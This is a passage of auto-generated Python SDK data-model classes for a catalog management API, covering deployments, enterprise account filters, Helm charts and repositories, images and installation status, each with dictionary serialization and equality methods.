catalog.
:param datetime created: (optional) the date'time this catalog was created.
:param datetime updated: (optional) the date'time this catalog was last
updated.
"""
self.id = id
self.label = label
self.name = name
self.short_description = short_description
self.long_description = long_description
self.metadata = metadata
self.tags = tags
self.created = created
self.updated = updated
@classmethod
def from_dict(cls, _dict: Dict) -> 'Deployment':
"""Initialize a Deployment object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'label' in _dict:
args['label'] = _dict.get('label')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'short_description' in _dict:
args['short_description'] = _dict.get('short_description')
if 'long_description' in _dict:
args['long_description'] = _dict.get('long_description')
if 'metadata' in _dict:
args['metadata'] = _dict.get('metadata')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Deployment object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'label') and self.label is not None:
_dict['label'] = self.label
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'short_description') and self.short_description is not None:
_dict['short_description'] = self.short_description
if hasattr(self, 'long_description') and self.long_description is not None:
_dict['long_description'] = self.long_description
if hasattr(self, 'metadata') and self.metadata is not None:
_dict['metadata'] = self.metadata
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Deployment object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Deployment') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Deployment') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Enterprise():
"""
Enterprise account information.
:attr str id: (optional) Enterprise identification.
:attr str rev: (optional) Cloudant revision.
:attr Filters account_filters: (optional) Filters for account and catalog
filters.
:attr EnterpriseAccountGroups account_groups: (optional) Map of account group
ids to AccountGroup objects.
"""
def __init__(self,
*,
id: str = None,
rev: str = None,
account_filters: 'Filters' = None,
account_groups: 'EnterpriseAccountGroups' = None) -> None:
"""
Initialize a Enterprise object.
:param str id: (optional) Enterprise identification.
:param str rev: (optional) Cloudant revision.
:param Filters account_filters: (optional) Filters for account and catalog
filters.
:param EnterpriseAccountGroups account_groups: (optional) Map of account
group ids to AccountGroup objects.
"""
self.id = id
self.rev = rev
self.account_filters = account_filters
self.account_groups = account_groups
@classmethod
def from_dict(cls, _dict: Dict) -> 'Enterprise':
"""Initialize a Enterprise object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if '_rev' in _dict:
args['rev'] = _dict.get('_rev')
if 'account_filters' in _dict:
args['account_filters'] = Filters.from_dict(_dict.get('account_filters'))
if 'account_groups' in _dict:
args['account_groups'] = EnterpriseAccountGroups.from_dict(_dict.get('account_groups'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Enterprise object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'rev') and self.rev is not None:
_dict['_rev'] = self.rev
if hasattr(self, 'account_filters') and self.account_filters is not None:
_dict['account_filters'] = self.account_filters.to_dict()
if hasattr(self, 'account_groups') and self.account_groups is not None:
_dict['account_groups'] = self.account_groups.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Enterprise object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Enterprise') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Enterprise') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class EnterpriseAccountGroups():
"""
Map of account group ids to AccountGroup objects.
:attr AccountGroup keys: (optional) Filters for an Account Group.
"""
def __init__(self,
*,
keys: 'AccountGroup' = None) -> None:
"""
Initialize a EnterpriseAccountGroups object.
:param AccountGroup keys: (optional) Filters for an Account Group.
"""
self.keys = keys
@classmethod
def from_dict(cls, _dict: Dict) -> 'EnterpriseAccountGroups':
"""Initialize a EnterpriseAccountGroups object from a json dictionary."""
args = {}
if 'keys' in _dict:
args['keys'] = AccountGroup.from_dict(_dict.get('keys'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a EnterpriseAccountGroups object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'keys') and self.keys is not None:
_dict['keys'] = self.keys.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this EnterpriseAccountGroups object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'EnterpriseAccountGroups') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'EnterpriseAccountGroups') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Feature():
"""
Feature information.
:attr str title: (optional) Heading.
:attr str description: (optional) Feature description.
"""
def __init__(self,
*,
title: str = None,
description: str = None) -> None:
"""
Initialize a Feature object.
:param str title: (optional) Heading.
:param str description: (optional) Feature description.
"""
self.title = title
self.description = description
@classmethod
def from_dict(cls, _dict: Dict) -> 'Feature':
"""Initialize a Feature object from a json dictionary."""
args = {}
if 'title' in _dict:
args['title'] = _dict.get('title')
if 'description' in _dict:
args['description'] = _dict.get('description')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Feature object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'title') and self.title is not None:
_dict['title'] = self.title
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Feature object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Feature') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Feature') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class FilterTerms():
"""
Offering filter terms.
:attr List[str] filter_terms: (optional) List of values to match against. If
include is true, then if the offering has one of the values then the offering is
included. If include is false, then if the offering has one of the values then
the offering is excluded.
"""
def __init__(self,
*,
filter_terms: List[str] = None) -> None:
"""
Initialize a FilterTerms object.
:param List[str] filter_terms: (optional) List of values to match against.
If include is true, then if the offering has one of the values then the
offering is included. If include is false, then if the offering has one of
the values then the offering is excluded.
"""
self.filter_terms = filter_terms
@classmethod
def from_dict(cls, _dict: Dict) -> 'FilterTerms':
"""Initialize a FilterTerms object from a json dictionary."""
args = {}
if 'filter_terms' in _dict:
args['filter_terms'] = _dict.get('filter_terms')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a FilterTerms object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'filter_terms') and self.filter_terms is not None:
_dict['filter_terms'] = self.filter_terms
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this FilterTerms object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'FilterTerms') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'FilterTerms') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Filters():
"""
Filters for account and catalog filters.
:attr bool include_all: (optional) -> true - Include all of the public catalog
when filtering. Further settings will specifically exclude some offerings. false
- Exclude all of the public catalog when filtering. Further settings will
specifically include some offerings.
:attr dict category_filters: (optional) Filter against offering properties.
:attr IDFilter id_filters: (optional) Filter on offering ID's. There is an
include filter and an exclule filter. Both can be set.
"""
def __init__(self,
*,
include_all: bool = None,
category_filters: dict = None,
id_filters: 'IDFilter' = None) -> None:
"""
Initialize a Filters object.
:param bool include_all: (optional) -> true - Include all of the public
catalog when filtering. Further settings will specifically exclude some
offerings. false - Exclude all of the public catalog when filtering.
Further settings will specifically include some offerings.
:param dict category_filters: (optional) Filter against offering
properties.
:param IDFilter id_filters: (optional) Filter on offering ID's. There is an
include filter and an exclule filter. Both can be set.
"""
self.include_all = include_all
self.category_filters = category_filters
self.id_filters = id_filters
@classmethod
def from_dict(cls, _dict: Dict) -> 'Filters':
"""Initialize a Filters object from a json dictionary."""
args = {}
if 'include_all' in _dict:
args['include_all'] = _dict.get('include_all')
if 'category_filters' in _dict:
args['category_filters'] = {k : CategoryFilter.from_dict(v) for k, v in _dict.get('category_filters').items()}
if 'id_filters' in _dict:
args['id_filters'] = IDFilter.from_dict(_dict.get('id_filters'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Filters object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'include_all') and self.include_all is not None:
_dict['include_all'] = self.include_all
if hasattr(self, 'category_filters') and self.category_filters is not None:
_dict['category_filters'] = {k : v.to_dict() for k, v in self.category_filters.items()}
if hasattr(self, 'id_filters') and self.id_filters is not None:
_dict['id_filters'] = self.id_filters.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Filters object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Filters') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Filters') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class HelmChart():
"""
Helm chart.
:attr str name: (optional) Chart name.
:attr str description: (optional) Chart description.
:attr str icon: (optional) Chart icon.
:attr str version: (optional) Chart version.
:attr str app_version: (optional) Chart app version.
"""
def __init__(self,
*,
name: str = None,
description: str = None,
icon: str = None,
version: str = None,
app_version: str = None) -> None:
"""
Initialize a HelmChart object.
:param str name: (optional) Chart name.
:param str description: (optional) Chart description.
:param str icon: (optional) Chart icon.
:param str version: (optional) Chart version.
:param str app_version: (optional) Chart app version.
"""
self.name = name
self.description = description
self.icon = icon
self.version = version
self.app_version = app_version
@classmethod
def from_dict(cls, _dict: Dict) -> 'HelmChart':
"""Initialize a HelmChart object from a json dictionary."""
args = {}
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'description' in _dict:
args['description'] = _dict.get('description')
if 'icon' in _dict:
args['icon'] = _dict.get('icon')
if 'version' in _dict:
args['version'] = _dict.get('version')
if 'appVersion' in _dict:
args['app_version'] = _dict.get('appVersion')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a HelmChart object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
if hasattr(self, 'icon') and self.icon is not None:
_dict['icon'] = self.icon
if hasattr(self, 'version') and self.version is not None:
_dict['version'] = self.version
if hasattr(self, 'app_version') and self.app_version is not None:
_dict['appVersion'] = self.app_version
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this HelmChart object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'HelmChart') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'HelmChart') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class HelmPackage():
"""
Helm package.
:attr HelmPackageChart chart: (optional) The name of the requested chart, or the
name of a nested chart within the requested chart.
"""
def __init__(self,
*,
chart: 'HelmPackageChart' = None) -> None:
"""
Initialize a HelmPackage object.
:param HelmPackageChart chart: (optional) The name of the requested chart,
or the name of a nested chart within the requested chart.
"""
self.chart = chart
@classmethod
def from_dict(cls, _dict: Dict) -> 'HelmPackage':
"""Initialize a HelmPackage object from a json dictionary."""
args = {}
if 'chart' in _dict:
args['chart'] = HelmPackageChart.from_dict(_dict.get('chart'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a HelmPackage object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'chart') and self.chart is not None:
_dict['chart'] = self.chart.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this HelmPackage object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'HelmPackage') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'HelmPackage') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class HelmPackageChart():
"""
The name of the requested chart, or the name of a nested chart within the requested
chart.
:attr HelmChart chart_yaml: (optional) Helm chart.
:attr object sha: (optional) Project SHA.
:attr str readme_md: (optional) Helm chart description.
:attr object values_metadata: (optional) Values metadata.
:attr object license_metadata: (optional) License metadata.
"""
def __init__(self,
*,
chart_yaml: 'HelmChart' = None,
sha: object = None,
readme_md: str = None,
values_metadata: object = None,
license_metadata: object = None) -> None:
"""
Initialize a HelmPackageChart object.
:param HelmChart chart_yaml: (optional) Helm chart.
:param object sha: (optional) Project SHA.
:param str readme_md: (optional) Helm chart description.
:param object values_metadata: (optional) Values metadata.
:param object license_metadata: (optional) License metadata.
"""
self.chart_yaml = chart_yaml
self.sha = sha
self.readme_md = readme_md
self.values_metadata = values_metadata
self.license_metadata = license_metadata
@classmethod
def from_dict(cls, _dict: Dict) -> 'HelmPackageChart':
"""Initialize a HelmPackageChart object from a json dictionary."""
args = {}
if 'Chart.yaml' in _dict:
args['chart_yaml'] = HelmChart.from_dict(_dict.get('Chart.yaml'))
if 'sha' in _dict:
args['sha'] = _dict.get('sha')
if 'README.md' in _dict:
args['readme_md'] = _dict.get('README.md')
if 'values-metadata' in _dict:
args['values_metadata'] = _dict.get('values-metadata')
if 'license-metadata' in _dict:
args['license_metadata'] = _dict.get('license-metadata')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a HelmPackageChart object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'chart_yaml') and self.chart_yaml is not None:
_dict['Chart.yaml'] = self.chart_yaml.to_dict()
if hasattr(self, 'sha') and self.sha is not None:
_dict['sha'] = self.sha
if hasattr(self, 'readme_md') and self.readme_md is not None:
_dict['README.md'] = self.readme_md
if hasattr(self, 'values_metadata') and self.values_metadata is not None:
_dict['values-metadata'] = self.values_metadata
if hasattr(self, 'license_metadata') and self.license_metadata is not None:
_dict['license-metadata'] = self.license_metadata
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this HelmPackageChart object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'HelmPackageChart') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'HelmPackageChart') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class HelmRepoList():
"""
Helm repository metadata.
:attr HelmRepoListChart chart: (optional) A chart entry in the repo. This
response will contain many chart names.
"""
def __init__(self,
*,
chart: 'HelmRepoListChart' = None) -> None:
"""
Initialize a HelmRepoList object.
:param HelmRepoListChart chart: (optional) A chart entry in the repo. This
response will contain many chart names.
"""
self.chart = chart
@classmethod
def from_dict(cls, _dict: Dict) -> 'HelmRepoList':
"""Initialize a HelmRepoList object from a json dictionary."""
args = {}
if 'chart' in _dict:
args['chart'] = HelmRepoListChart.from_dict(_dict.get('chart'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a HelmRepoList object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'chart') and self.chart is not None:
_dict['chart'] = self.chart.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this HelmRepoList object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'HelmRepoList') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'HelmRepoList') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class HelmRepoListChart():
"""
A chart entry in the repo. This response will contain many chart names.
:attr str api_version: (optional) API version.
:attr datetime created: (optional) Date and time created.
:attr str description: (optional) Description of Helm repo entry.
:attr bool deprecated: (optional) Denotes whether repo entry is deprecated.
:attr str digest: (optional) Digest of entry.
:attr str home: (optional) Location of repo entry.
:attr str icon: (optional) Entry icon.
:attr List[str] keywords: (optional) List of keywords.
:attr List[Maintainers] maintainers: (optional) Emails and names of repo
maintainers.
:attr str name: (optional) Entry name.
:attr str tiller_version: (optional) Helm server version.
:attr List[str] urls: (optional) Array of URLs.
:attr List[str] sources: (optional) Array of sources.
:attr str version: (optional) Entry version.
:attr str app_version: (optional) Application version.
"""
def __init__(self,
*,
api_version: str = None,
created: datetime = None,
description: str = None,
deprecated: bool = None,
digest: str = None,
home: str = None,
icon: str = None,
keywords: List[str] = None,
maintainers: List['Maintainers'] = None,
name: str = None,
tiller_version: str = None,
urls: List[str] = None,
sources: List[str] = None,
version: str = None,
app_version: str = None) -> None:
"""
Initialize a HelmRepoListChart object.
:param str api_version: (optional) API version.
:param datetime created: (optional) Date and time created.
:param str description: (optional) Description of Helm repo entry.
:param bool deprecated: (optional) Denotes whether repo entry is
deprecated.
:param str digest: (optional) Digest of entry.
:param str home: (optional) Location of repo entry.
:param str icon: (optional) Entry icon.
:param List[str] keywords: (optional) List of keywords.
:param List[Maintainers] maintainers: (optional) Emails and names of repo
maintainers.
:param str name: (optional) Entry name.
:param str tiller_version: (optional) Helm server version.
:param List[str] urls: (optional) Array of URLs.
:param List[str] sources: (optional) Array of sources.
:param str version: (optional) Entry version.
:param str app_version: (optional) Application version.
"""
self.api_version = api_version
self.created = created
self.description = description
self.deprecated = deprecated
self.digest = digest
self.home = home
self.icon = icon
self.keywords = keywords
self.maintainers = maintainers
self.name = name
self.tiller_version = tiller_version
self.urls = urls
self.sources = sources
self.version = version
self.app_version = app_version
@classmethod
def from_dict(cls, _dict: Dict) -> 'HelmRepoListChart':
"""Initialize a HelmRepoListChart object from a json dictionary."""
args = {}
if 'api_version' in _dict:
args['api_version'] = _dict.get('api_version')
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'description' in _dict:
args['description'] = _dict.get('description')
if 'deprecated' in _dict:
args['deprecated'] = _dict.get('deprecated')
if 'digest' in _dict:
args['digest'] = _dict.get('digest')
if 'home' in _dict:
args['home'] = _dict.get('home')
if 'icon' in _dict:
args['icon'] = _dict.get('icon')
if 'keywords' in _dict:
args['keywords'] = _dict.get('keywords')
if 'maintainers' in _dict:
args['maintainers'] = [Maintainers.from_dict(x) for x in _dict.get('maintainers')]
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'tiller_version' in _dict:
args['tiller_version'] = _dict.get('tiller_version')
if 'urls' in _dict:
args['urls'] = _dict.get('urls')
if 'sources' in _dict:
args['sources'] = _dict.get('sources')
if 'version' in _dict:
args['version'] = _dict.get('version')
if 'appVersion' in _dict:
args['app_version'] = _dict.get('appVersion')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a HelmRepoListChart object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'api_version') and self.api_version is not None:
_dict['api_version'] = self.api_version
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
if hasattr(self, 'deprecated') and self.deprecated is not None:
_dict['deprecated'] = self.deprecated
if hasattr(self, 'digest') and self.digest is not None:
_dict['digest'] = self.digest
if hasattr(self, 'home') and self.home is not None:
_dict['home'] = self.home
if hasattr(self, 'icon') and self.icon is not None:
_dict['icon'] = self.icon
if hasattr(self, 'keywords') and self.keywords is not None:
_dict['keywords'] = self.keywords
if hasattr(self, 'maintainers') and self.maintainers is not None:
_dict['maintainers'] = [x.to_dict() for x in self.maintainers]
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'tiller_version') and self.tiller_version is not None:
_dict['tiller_version'] = self.tiller_version
if hasattr(self, 'urls') and self.urls is not None:
_dict['urls'] = self.urls
if hasattr(self, 'sources') and self.sources is not None:
_dict['sources'] = self.sources
if hasattr(self, 'version') and self.version is not None:
_dict['version'] = self.version
if hasattr(self, 'app_version') and self.app_version is not None:
_dict['appVersion'] = self.app_version
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this HelmRepoListChart object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'HelmRepoListChart') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'HelmRepoListChart') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class IDFilter():
"""
Filter on offering ID's. There is an include filter and an exclule filter. Both can be
set.
:attr FilterTerms include: (optional) Offering filter terms.
:attr FilterTerms exclude: (optional) Offering filter terms.
"""
def __init__(self,
*,
include: 'FilterTerms' = None,
exclude: 'FilterTerms' = None) -> None:
"""
Initialize a IDFilter object.
:param FilterTerms include: (optional) Offering filter terms.
:param FilterTerms exclude: (optional) Offering filter terms.
"""
self.include = include
self.exclude = exclude
@classmethod
def from_dict(cls, _dict: Dict) -> 'IDFilter':
"""Initialize a IDFilter object from a json dictionary."""
args = {}
if 'include' in _dict:
args['include'] = FilterTerms.from_dict(_dict.get('include'))
if 'exclude' in _dict:
args['exclude'] = FilterTerms.from_dict(_dict.get('exclude'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a IDFilter object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'include') and self.include is not None:
_dict['include'] = self.include.to_dict()
if hasattr(self, 'exclude') and self.exclude is not None:
_dict['exclude'] = self.exclude.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this IDFilter object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'IDFilter') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'IDFilter') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Image():
"""
Image.
:attr str image: (optional) Image.
"""
def __init__(self,
*,
image: str = None) -> None:
"""
Initialize a Image object.
:param str image: (optional) Image.
"""
self.image = image
@classmethod
def from_dict(cls, _dict: Dict) -> 'Image':
"""Initialize a Image object from a json dictionary."""
args = {}
if 'image' in _dict:
args['image'] = _dict.get('image')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Image object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'image') and self.image is not None:
_dict['image'] = self.image
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Image object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Image') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Image') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class ImageManifest():
"""
Image Manifest.
:attr str description: (optional) Image manifest description.
:attr List[Image] images: (optional) List of images.
"""
def __init__(self,
*,
description: str = None,
images: List['Image'] = None) -> None:
"""
Initialize a ImageManifest object.
:param str description: (optional) Image manifest description.
:param List[Image] images: (optional) List of images.
"""
self.description = description
self.images = images
@classmethod
def from_dict(cls, _dict: Dict) -> 'ImageManifest':
"""Initialize a ImageManifest object from a json dictionary."""
args = {}
if 'description' in _dict:
args['description'] = _dict.get('description')
if 'images' in _dict:
args['images'] = [Image.from_dict(x) for x in _dict.get('images')]
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a ImageManifest object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'description') and self.description is not None:
_dict['description'] = self.description
if hasattr(self, 'images') and self.images is not None:
_dict['images'] = [x.to_dict() for x in self.images]
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this ImageManifest object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'ImageManifest') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'ImageManifest') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class InstallStatus():
"""
Installation status.
:attr InstallStatusMetadata metadata: (optional) Installation status metadata.
:attr InstallStatusRelease release: (optional) Release information.
:attr InstallStatusContentMgmt content_mgmt: (optional) Content management
information.
"""
def __init__(self,
*,
metadata: 'InstallStatusMetadata' = None,
release: 'InstallStatusRelease' = None,
content_mgmt: 'InstallStatusContentMgmt' = None) -> None:
"""
Initialize a InstallStatus object.
:param InstallStatusMetadata metadata: (optional) Installation status
metadata.
:param InstallStatusRelease release: (optional) Release information.
:param InstallStatusContentMgmt content_mgmt: (optional) Content management
information.
"""
self.metadata = metadata
self.release = release
self.content_mgmt = content_mgmt
@classmethod
def from_dict(cls, _dict: Dict) -> 'InstallStatus':
"""Initialize a InstallStatus object from a json dictionary."""
args = {}
if 'metadata' in _dict:
args['metadata'] = InstallStatusMetadata.from_dict(_dict.get('metadata'))
if 'release' in _dict:
args['release'] = InstallStatusRelease.from_dict(_dict.get('release'))
if 'content_mgmt' in _dict:
args['content_mgmt'] = InstallStatusContentMgmt.from_dict(_dict.get('content_mgmt'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a InstallStatus object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'metadata') and self.metadata is not None:
_dict['metadata'] = self.metadata.to_dict()
if hasattr(self, 'release') and self.release is not None:
_dict['release'] = self.release.to_dict()
if hasattr(self, 'content_mgmt') and self.content_mgmt is not None:
_dict['content_mgmt'] = self.content_mgmt.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this InstallStatus object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'InstallStatus') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'InstallStatus') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class InstallStatusContentMgmt():
"""
Content management information.
:attr List[object] pods: (optional) Pods.
:attr List[object] errors: (optional) Errors.
"""
def __init__(self,
*,
pods: List[object] = None,
errors: List[object] = None) -> None:
"""
Initialize a InstallStatusContentMgmt object.
:param List[object] pods: (optional) Pods.
:param List[object] errors: (optional) Errors.
"""
self.pods = pods
self.errors = errors
@classmethod
def from_dict(cls, _dict: Dict) -> 'InstallStatusContentMgmt':
"""Initialize a InstallStatusContentMgmt object from a json dictionary."""
args = {}
if 'pods' in _dict:
args['pods'] = _dict.get('pods')
if 'errors' in _dict:
args['errors'] = _dict.get('errors')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a InstallStatusContentMgmt object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'pods') and self.pods is not None:
_dict['pods'] = self.pods
if hasattr(self, 'errors') and self.errors is not None:
